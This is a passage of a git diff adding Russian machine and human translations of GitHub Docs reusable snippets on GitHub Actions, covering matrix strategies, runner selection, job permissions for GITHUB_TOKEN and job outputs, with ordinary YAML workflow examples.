47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089554" +--- +1. Перейдите на вкладку "Локальные средства выполнения" и найдите список средств выполнения. diff --git a/translations/ru-RU/data/reusables/actions/hosted-runner-security-admonition.md b/translations/ru-RU/data/reusables/actions/hosted-runner-security-admonition.md new file mode 100644 index 000000000000..d1226eed6fe5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hosted-runner-security-admonition.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2ce890fe0439b1030ce00041ff72cd98aeca73db +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110126" +--- +{% warning %} + +**Предупреждение**: {% data reusables.actions.hosted-runner-security %} + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/actions/hosted-runner-security.md b/translations/ru-RU/data/reusables/actions/hosted-runner-security.md new file mode 100644 index 000000000000..bbc2edbd12ff --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/hosted-runner-security.md @@ -0,0 +1 @@ +If you are using a Fixed IP range, we recommend that you only use {% data variables.actions.hosted_runner %}s with private repositories. Forks of your repository can potentially run dangerous code on your {% data variables.actions.hosted_runner %} by creating a pull request that executes the code in a workflow. diff --git a/translations/ru-RU/data/reusables/actions/if-conditions-table-entry.md b/translations/ru-RU/data/reusables/actions/if-conditions-table-entry.md new file mode 100644 index 000000000000..eb424171b8e7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/if-conditions-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d5ad4906f5864f7dee9dc5746875346e3a4d72e1 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879005" +--- +| Запрет на выполнения задания, если не выполнены определенные условия: | [`if`](/actions/using-jobs/using-conditions-to-control-job-execution)| diff --git a/translations/ru-RU/data/reusables/actions/inputs-vs-github-event-inputs.md b/translations/ru-RU/data/reusables/actions/inputs-vs-github-event-inputs.md new file mode 100644 index 000000000000..e7f35a6e80f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/inputs-vs-github-event-inputs.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 082935e07137d32c2f5d5bc8cc207b6af30b1265 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878828" +--- +{% ifversion actions-unified-inputs %} + +{% note %} + +**Примечание.** Рабочий процесс также получит входные данные в контексте `github.event.inputs`. Информация в контексте `inputs` и в контексте `github.event.inputs` идентична, за исключением того, что контекст `inputs` сохраняет логические значения в исходном формате логических значений, не преобразовывая их в строки. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/internal-actions-summary.md b/translations/ru-RU/data/reusables/actions/internal-actions-summary.md new file mode 100644 index 000000000000..d2ec77db0286 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/internal-actions-summary.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6ee1eb05e434274c111257c6b79244760a6666e9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180306" +--- +{% ifversion internal-actions %} Чтобы совместно использовать действия в организации, не публикуя их в открытом доступе, можно сохранить действия во внутреннем репозитории, а затем разрешить этому репозиторию доступ к рабочим процессам {% data variables.product.prodname_actions %} в других репозиториях, принадлежащих тому же или любому другому отделу в организации. Дополнительные сведения см. в разделе [Общий доступ к действиям и рабочим процессам в организации](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/introducing-enterprise.md b/translations/ru-RU/data/reusables/actions/introducing-enterprise.md new file mode 100644 index 000000000000..8ca14a6bec4e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/introducing-enterprise.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 20b07fcc7876297fe8029d26521cb8b09485618c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089549" +--- +Прежде чем приступать к работе, необходимо составить план внедрения {% data variables.product.prodname_actions %} в организации. Дополнительные сведения см. в разделе [Внедрение {% data variables.product.prodname_actions %} в организации](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). diff --git a/translations/ru-RU/data/reusables/actions/invalid-workflow-files.md b/translations/ru-RU/data/reusables/actions/invalid-workflow-files.md new file mode 100644 index 000000000000..72f5abd41ea4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/invalid-workflow-files.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 06fc93899c2299e09e4bfec32c3e7e742ce33120 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885535" +--- +{% note %} + +**Примечание**. В репозитории следует фиксировать только допустимые файлы рабочего процесса. Если `.github/workflows` содержит недопустимый файл рабочего процесса, {% data variables.product.prodname_actions %} создает для каждой новой фиксации рабочий процесс, завершающийся сбоем. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/ip-allow-list-self-hosted-runners.md b/translations/ru-RU/data/reusables/actions/ip-allow-list-self-hosted-runners.md new file mode 100644 index 000000000000..4cb42a307dfe --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/ip-allow-list-self-hosted-runners.md @@ -0,0 +1,11 @@ +{% ifversion ghae %} +To allow your self-hosted runners to communicate with {% data variables.product.prodname_dotcom %}, add the IP address or IP address range of your self-hosted runners to the IP allow list. For more information, see "[Adding an allowed IP address](#adding-an-allowed-ip-address)." +{% else %} +{% warning %} + +**Warning**: If you use an IP allow list and would also like to use {% data variables.product.prodname_actions %}, you must use self-hosted runners{% ifversion actions-hosted-runners %} or {% data variables.product.prodname_dotcom %}-hosted larger runners with a static IP address range{% endif %}. For more information, see "[Hosting your own runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)" {% ifversion actions-hosted-runners %} or "[Using larger runners](/actions/using-github-hosted-runners/using-larger-runners)"{% endif %}. + +{% endwarning %} + +To allow your self-hosted {% ifversion actions-hosted-runners %}or larger hosted{% endif %} runners to communicate with {% data variables.product.prodname_dotcom %}, add the IP address or IP address range of your runners to the IP allow list. For more information, see "[Adding an allowed IP address](#adding-an-allowed-ip-address)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/java-jvm-architecture.md b/translations/ru-RU/data/reusables/actions/java-jvm-architecture.md new file mode 100644 index 000000000000..0551d0c4c656 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/java-jvm-architecture.md @@ -0,0 +1,26 @@ +--- +ms.openlocfilehash: f51b958c86c6ede52591986f9d208864612047db +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069592" +--- +### Указание версии и архитектуры JVM + +Начальный рабочий процесс настраивает `PATH`, чтобы содержать OpenJDK 8 для платформы x64. Если вы хотите использовать другую версию Java или выбрать другую архитектуру (`x64` или `x86`), можно использовать действие `setup-java` для выбора другой среды выполнения Java. + +Например, чтобы использовать JDK версии 11, предоставляемой Adoptium для платформы x64, можно выполнить действие `setup-java` и установить параметры `java-version`,`distribution` и `architecture` на `'11'`, `'adopt'` и `x64`. + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up JDK 11 for x64 + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + architecture: x64 +``` + +Дополнительные сведения см. в описании действия [`setup-java`](https://github.com/actions/setup-java). diff --git a/translations/ru-RU/data/reusables/actions/jobs/about-matrix-strategy.md b/translations/ru-RU/data/reusables/actions/jobs/about-matrix-strategy.md new file mode 100644 index 000000000000..3b39b1424670 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/about-matrix-strategy.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 71eac1cd4a3bf205274a042298dec06525953bdf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147167390" +--- +Стратегия матрицы позволяет использовать переменные в одном определении задания для автоматического создания нескольких выполнений заданий, основанных на сочетаниях переменных. Например, можно использовать стратегию матрицы для тестирования кода в нескольких версиях языка или в нескольких операционных системах. diff --git a/translations/ru-RU/data/reusables/actions/jobs/example-runs-on-groups.md b/translations/ru-RU/data/reusables/actions/jobs/example-runs-on-groups.md new file mode 100644 index 000000000000..c9a51aa3b488 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/example-runs-on-groups.md @@ -0,0 +1,25 @@ +--- +ms.openlocfilehash: 00f63e08cc047ce722f7a7172783c07e12344a87 +ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: "148120940" +--- +В этом примере средства выполнения тестов Ubuntu с 16 ядрами были добавлены в группу с именем `ubuntu-runners`. Ключ `runs-on` отправляет задание в любое доступное средство выполнения в `ubuntu-runners` группе: + +```yaml +name: learn-github-actions +on: [push] +jobs: + check-bats-version: + runs-on: + group: ubuntu-runners + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + - run: npm install -g bats + - run: bats -v +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/example-runs-on-labels-and-groups.md b/translations/ru-RU/data/reusables/actions/jobs/example-runs-on-labels-and-groups.md new file mode 100644 index 000000000000..e7836499c9cf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/example-runs-on-labels-and-groups.md @@ -0,0 +1,28 @@ +--- +ms.openlocfilehash: 718f58c2013f7deda31fd2a300a5a2b3f7e4b5ec +ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: "148120935" +--- +При объединении групп и меток средство выполнения должно соответствовать обоим требованиям, чтобы иметь право на выполнение задания. + +В этом примере группа средств выполнения с именем `ubuntu-runners` заполняется 16-ядерными средствами выполнения Ubuntu, которым также назначена метка `ubuntu-20.04-16core`. Ключ `runs-on` объединяет `group` и `labels` , чтобы задание перенаправлялось в любое доступное средство выполнения в группе, которая также имеет соответствующую метку: + +```yaml +name: learn-github-actions +on: [push] +jobs: + check-bats-version: + runs-on: + group: ubuntu-runners + labels: ubuntu-20.04-16core + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + - run: npm install -g bats + - run: bats -v +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/matrix-add-with-include.md b/translations/ru-RU/data/reusables/actions/jobs/matrix-add-with-include.md new file mode 100644 index 000000000000..a34a79a11693 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/matrix-add-with-include.md @@ -0,0 +1,37 @@ +--- +ms.openlocfilehash: d0e9408a29307848c49c9d0889c96b054e1d1222 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062165" +--- +Например, в этой матрице будет выполняться 10 заданий, по одному для каждого сочетания `os` и `version` в матрице, а также еще одно задание для `windows-latest` со значением `os` и `17` со значением `version`. + +```yaml +jobs: + example_matrix: + strategy: + matrix: + os: [macos-latest, windows-latest, ubuntu-latest] + version: [12, 14, 16] + include: + - os: windows-latest + version: 17 +``` + +Если не указать переменные матрицы, будут выполняться все конфигурации в `include`. Например, следующий рабочий процесс выполнит два задания, по одному для каждого элемента `include`. Это позволяет использовать не полностью заполненную матрицу. + +```yaml +jobs: + includes_only: + runs-on: ubuntu-latest + strategy: + matrix: + include: + - site: "production" + datacenter: "site-a" + - site: "staging" + datacenter: "site-b" + +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/matrix-exclude.md b/translations/ru-RU/data/reusables/actions/jobs/matrix-exclude.md new file mode 100644 index 000000000000..4db0aee86e79 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/matrix-exclude.md @@ -0,0 +1,30 @@ +--- +ms.openlocfilehash: a38aec9a1becf4c15877b2d3057d413b6d609f6c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880191" +--- +Чтобы удалить конкретные конфигурации, определенные в матрице, используйте `jobs..strategy.matrix.exclude`. Исключенная конфигурация должна иметь хотя бы частичное совпадение, чтобы ее можно было исключить. Например, следующий рабочий процесс будет выполнять девять заданий: одно задание для каждой из 12 конфигураций, минус одно исключенное задание, которое совпадает с `{os: macos-latest, version: 12, environment: production}`, и два исключенных задания, которые совпадают с `{os: windows-latest, version: 16}`. + +```yaml +strategy: + matrix: + os: [macos-latest, windows-latest] + version: [12, 14, 16] + environment: [staging, production] + exclude: + - os: macos-latest + version: 12 + environment: production + - os: windows-latest + version: 16 +runs-on: {% raw %}${{ matrix.os }}{% endraw %} +``` + +{% note %} + +**Примечание.** Все комбинации `include` обрабатываются после `exclude`. Это позволяет использовать `include` для добавления обратных комбинаций, которые были ранее исключены. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/matrix-expand-with-include.md b/translations/ru-RU/data/reusables/actions/jobs/matrix-expand-with-include.md new file mode 100644 index 000000000000..78eba178b750 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/matrix-expand-with-include.md @@ -0,0 +1,30 @@ +--- +ms.openlocfilehash: c999fec9a5ab78a42f78c5d7312f54a62b81cbef +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883087" +--- +Например, следующий рабочий процесс будет выполнять шесть заданий, по одному для каждого сочетания `os` и `node`. Если выполняется задание для значения `windows-latest` параметра `os` и значения `16` параметра `node`, в задание будет включена дополнительная переменная `npm` со значением `6`. + +```yaml +jobs: + example_matrix: + strategy: + matrix: + os: [windows-latest, ubuntu-latest] + node: [12, 14, 16] + include: + - os: windows-latest + node: 16 + npm: 6 + runs-on: {% raw %}${{ matrix.os }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node }}{% endraw %} + - if: {% raw %}${{ matrix.npm }}{% endraw %} + run: npm install -g npm@{% raw %}${{ matrix.npm }}{% endraw %} + - run: npm --version +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/matrix-from-context.md b/translations/ru-RU/data/reusables/actions/jobs/matrix-from-context.md new file mode 100644 index 000000000000..546b88574645 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/matrix-from-context.md @@ -0,0 +1,38 @@ +--- +ms.openlocfilehash: 9a9d2b4deb488e7b8fa5f0df2377e7d5ca57d194 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884440" +--- +Контексты можно использовать для создания матриц. Дополнительные сведения о контекстах см. в разделе [Контексты](/actions/learn-github-actions/contexts). + +Например, следующий рабочий процесс активирует событие `repository_dispatch` и использует сведения из его полезных данных для построения матрицы. При создании события диспетчеризации репозитория с полезными данными, как показано ниже, переменная `version` матрицы будет иметь значение `[12, 14, 16]`. Дополнительные сведения о триггере `repository_dispatch` см. в разделе [События, активирующие рабочие процессы](/actions/using-workflows/events-that-trigger-workflows#repository_dispatch). + +```json +{ + "event_type": "test", + "client_payload": { + "versions": [12, 14, 16] + } +} +``` + +```yaml +on: + repository_dispatch: + types: + - test + +jobs: + example_matrix: + runs-on: ubuntu-latest + strategy: + matrix: + version: {% raw %}${{ github.event.client_payload.versions }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.version }}{% endraw %} +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/matrix-include.md b/translations/ru-RU/data/reusables/actions/jobs/matrix-include.md new file mode 100644 index 000000000000..f6ed60b2ad16 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/matrix-include.md @@ -0,0 +1,46 @@ +--- +ms.openlocfilehash: 58fe7bc6f3568b066453ea1e2fa5b6defc7c5048 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069581" +--- +Используйте `jobs..strategy.matrix.include` для разворачивания существующих конфигураций матрицы или добавления новых конфигураций. Значение `include` является списком объектов. + +Для каждого объекта в списке `include` пары ключ:значение в объекте будут добавлены к каждой из комбинаций матриц, если ни одна из пар ключ:значение не перезаписывает какие-либо исходные значения матрицы. Если объект не может быть добавлен в какие-либо комбинации матриц, будет создана новая. Обратите внимание, что исходные матричные значения не будут перезаписаны, но добавленные матричные значения могут быть перезаписаны. + +Например, эта матрица: + +```yaml +strategy: + matrix: + fruit: [apple, pear] + animal: [cat, dog] + include: + - color: green + - color: pink + animal: cat + - fruit: apple + shape: circle + - fruit: banana + - fruit: banana + animal: cat +``` + +приведет к шести заданиям со следующими комбинациями матриц: + +- `{fruit: apple, animal: cat, color: pink, shape: circle}` +- `{fruit: apple, animal: dog, color: green, shape: circle}` +- `{fruit: pear, animal: cat, color: pink}` +- `{fruit: pear, animal: dog, color: green}` +- `{fruit: banana}` +- `{fruit: banana, animal: cat}` + +следуя этой логике: + +- `{color: green}` добавляется ко всем исходным комбинациям матриц, так как его можно добавить без перезаписи любой части исходных комбинаций. +- `{color: pink, animal: cat}` добавляет `color:pink` только к исходным комбинациям матриц, которые включают `animal: cat`. Это перезаписывает `color: green`, добавленный предыдущей записью `include`. +- `{fruit: apple, shape: circle}` добавляет `shape: circle` только к исходным комбинациям матриц, которые включают `fruit: apple`. +- `{fruit: banana}` невозможно добавить ни в какую исходную комбинацию матриц без перезаписи значения, поэтому он добавляется в качестве дополнительной комбинации матриц. +- `{fruit: banana, animal: cat}` невозможно добавить ни в какую исходную комбинацию матриц без перезаписи значения, поэтому он добавляется в качестве дополнительной комбинации матриц. Он не добавляется к комбинации матриц `{fruit: banana}`, так как эта комбинация не была одной из исходных комбинаций матриц. diff --git a/translations/ru-RU/data/reusables/actions/jobs/multi-dimension-matrix.md b/translations/ru-RU/data/reusables/actions/jobs/multi-dimension-matrix.md new file mode 100644 index 000000000000..7f7dac12f3f5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/multi-dimension-matrix.md @@ -0,0 +1,30 @@ +--- +ms.openlocfilehash: 9a29d1039a0929c7366eeb4624e1fb6fb8a2e4f9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147529339" +--- +Для создания многомерной матрицы можно указать несколько переменных. Задание будет выполняться для каждой возможной комбинации переменных. + +Например, для следующего рабочего процесса устанавливаются две переменные: + +- Две операционные системы, указанные в переменной `os` +- Три версии Node.js, указанные в переменной `version` + +Рабочий процесс будет выполнять шесть заданий, по одному для каждой комбинации переменных `os` и `version`. В каждом задании параметру `runs-on` присваивается текущее значение `os` и передается текущее значение `version` в действие `actions/setup-node`. + +```yaml +jobs: + example_matrix: + strategy: + matrix: + os: [ubuntu-22.04, ubuntu-20.04] + version: [10, 12, 14] + runs-on: {% raw %}${{ matrix.os }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.version }}{% endraw %} +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-assigning-permissions-to-jobs-specific.md b/translations/ru-RU/data/reusables/actions/jobs/section-assigning-permissions-to-jobs-specific.md new file mode 100644 index 000000000000..d100c92b9ba8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-assigning-permissions-to-jobs-specific.md @@ -0,0 +1,30 @@ +--- +ms.openlocfilehash: 7013bd204f8af1a27bbba837fda49eb7fbfe779b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089501" +--- +Для определенного задания `jobs..permissions` можно использовать для изменения разрешений по умолчанию, предоставленных `GITHUB_TOKEN`, при необходимости добавляя или удаляя права доступа, чтобы разрешить только минимальный требуемый доступ. Дополнительные сведения см. в статье "[Проверка подлинности в рабочем процессе](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". + +Указав разрешение в определении задания, при необходимости можно настроить для каждого задания другой набор разрешений для `GITHUB_TOKEN`. Кроме того, можно указать разрешения для всех заданий в рабочем процессе. Сведения об определении разрешений на уровне рабочего процесса см. в разделе [`permissions`](/actions/using-workflows/workflow-syntax-for-github-actions#permissions). + +{% data reusables.actions.github-token-available-permissions %} {% data reusables.actions.forked-write-permission %} + +#### Пример. Настройка разрешений для определенного задания + +В этом примере показаны разрешения, заданные для задания `GITHUB_TOKEN`, которое будет применяться только к заданию с именем `stale`. Доступ на запись предоставляется для областей `issues` и `pull-requests`. Все остальные области не будут иметь доступа. + +```yaml +jobs: + stale: + runs-on: ubuntu-latest + + permissions: + issues: write + pull-requests: write + + steps: + - uses: {% data reusables.actions.action-stale %} +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md b/translations/ru-RU/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md new file mode 100644 index 000000000000..f545fb4f1b4c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md @@ -0,0 +1,28 @@ +--- +ms.openlocfilehash: 92ca4fc15d763b82d057c350d787ff97522a2768 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069572" +--- +`permissions` можно использовать для изменения разрешений по умолчанию, предоставленных `GITHUB_TOKEN`, при необходимости добавляя или удаляя права доступа, чтобы разрешить только минимальный требуемый доступ. Дополнительные сведения см. в статье "[Проверка подлинности в рабочем процессе](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". + +`permissions` можно использовать в качестве ключа верхнего уровня для применения ко всем заданиям в рабочем процессе или в конкретных заданиях. При добавлении ключа `permissions` в конкретном задании указанные права доступа получают все действия и команды выполнения в этом задании, использующие `GITHUB_TOKEN`. Дополнительные сведения см. на веб-сайте [`jobs..permissions`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idpermissions). + +{% data reusables.actions.github-token-available-permissions %} {% data reusables.actions.forked-write-permission %} + +### Пример. Назначение разрешений для GITHUB_TOKEN + +В этом примере показаны разрешения, заданные для `GITHUB_TOKEN`, которые будут применены ко всем заданиям в рабочем процессе. Всем разрешениям предоставляется доступ на чтение. + +```yaml +name: "My workflow" + +on: [ push ] + +permissions: read-all + +jobs: + ... +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-choosing-the-runner-for-a-job.md b/translations/ru-RU/data/reusables/actions/jobs/section-choosing-the-runner-for-a-job.md new file mode 100644 index 000000000000..c68d4ff36a99 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-choosing-the-runner-for-a-job.md @@ -0,0 +1,67 @@ +--- +ms.openlocfilehash: 89c3ed1592c000322cf4f0d6915e355bc81014ed +ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: "148120939" +--- +Используйте `jobs..runs-on` для определения типа компьютера, на котором будет запускаться задание. + +{% ifversion fpt or ghec %} — конечным компьютером может быть [размещенное в {% data variables.product.prodname_dotcom %}средство выполнения](#choosing-github-hosted-runners), [{% data variables.actions.hosted_runner %}](#choosing-runners-in-a-group) или [локальное средство выполнения](#choosing-self-hosted-runners). {% else %} +- Конечный компьютер может быть [локальным модулом выполнения тестов](#choosing-self-hosted-runners). {% endif %} {% ifversion target-runner-groups %} — вы можете нацеливать средства выполнения на основе назначенных им меток, их членства в группах или их сочетания. {% else %} +- Вы можете нацеливать средства выполнения на основе назначенных им меток. {% endif %} +- Можно указать `runs-on` в виде одной строки или массива строк. +- Если указать массив строк, рабочий процесс будет выполняться в любом средстве выполнения, которое соответствует всем указанным `runs-on` значениям. +- Если необходимо запустить рабочий процесс на нескольких компьютерах, используйте [`jobs..strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy). + +{% ifversion fpt or ghec or ghes %} {% data reusables.actions.enterprise-github-hosted-runners %} + +### Выбор средства выполнения тестов, размещенного на {% data variables.product.prodname_dotcom %} + +При использовании средства выполнения тестов, размещенного на {% data variables.product.prodname_dotcom %}, каждое задание выполняется в новом экземпляре образа средства выполнения тестов, заданной параметром `runs-on`. + +Доступны следующие типы средств выполнения тестов, размещенных на {% data variables.product.prodname_dotcom %}: + +{% data reusables.actions.supported-github-runners %} + +#### Пример: указание операционной системы + +```yaml +runs-on: ubuntu-latest +``` + +Дополнительные сведения см. в статье [Сведения о средствах выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners). +{% endif %} + +{% ifversion fpt or ghec or ghes %} +### Выбор локальных средств выполнения тестов +{% endif %} + +{% data reusables.actions.self-hosted-runner-labels-runs-on %} + +#### Пример: использование меток для выбора средства выполнения тестов + +```yaml +runs-on: [self-hosted, linux] +``` + +Дополнительные сведения см. в разделах «[Сведения о локальных средствах выполнения тестов](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)» и «[Использование локальных средств выполнения тестов](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)». + +{% ifversion target-runner-groups %} + +### Выбор средств выполнения в группе + +Вы можете использовать для `runs-on` целевых групп средств выполнения, чтобы задание выполнялось в любом средстве выполнения, которое входит в эту группу. Для более детального управления можно также объединить группы средств выполнения с метками. + +В группах средств выполнения могут быть только [{% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners) или [локальные средства выполнения тестов](/actions/hosting-your-own-runners) . + +#### Пример. Использование групп для управления тем, где выполняются задания + +{% data reusables.actions.jobs.example-runs-on-groups %} + +#### Пример. Объединение групп и меток + +{% data reusables.actions.jobs.example-runs-on-labels-and-groups %} + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md b/translations/ru-RU/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md new file mode 100644 index 000000000000..c4bcf860a20e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-defining-outputs-for-jobs.md @@ -0,0 +1,47 @@ +--- +ms.openlocfilehash: 7f2ff76b540b7f4356c8011aa72eefeec150820e +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: "148097978" +--- +Можно использовать `jobs..outputs` для создания `map` выходных данных для задания. Выходные данные задания доступны для всех подчиненных заданий, которые зависят от этого задания. Дополнительные сведения об определении зависимостей заданий см. в разделе [`jobs..needs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds). + +{% data reusables.actions.output-limitations %} + +Выходные данные задания, содержащие выражения, вычисляются в средстве выполнения в конце каждого задания. Выходные данные, содержащие секреты, редактируются в средстве выполнения и не отправляются в {% data variables.product.prodname_actions %}. + +Чтобы применять выходные данные задания в зависимом задании, можно использовать контекст `needs`. Дополнительные сведения см. в разделе «[Контексты](/actions/learn-github-actions/contexts#needs-context)». + +### Пример: определение выходных данных для задания + +{% raw %} +```yaml +jobs: + job1: + runs-on: ubuntu-latest + # Map a step output to a job output + outputs: + output1: ${{ steps.step1.outputs.test }} + output2: ${{ steps.step2.outputs.test }} + steps: + - id: step1{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "test=hello" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=test::hello" +{%- endif %}{% raw %} + - id: step2{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "test=world" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=test::world" +{%- endif %}{% raw %} + job2: + runs-on: ubuntu-latest + needs: job1 + steps: + - run: echo ${{needs.job1.outputs.output1}} ${{needs.job1.outputs.output2}} +``` +{% endraw %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-credentials.md 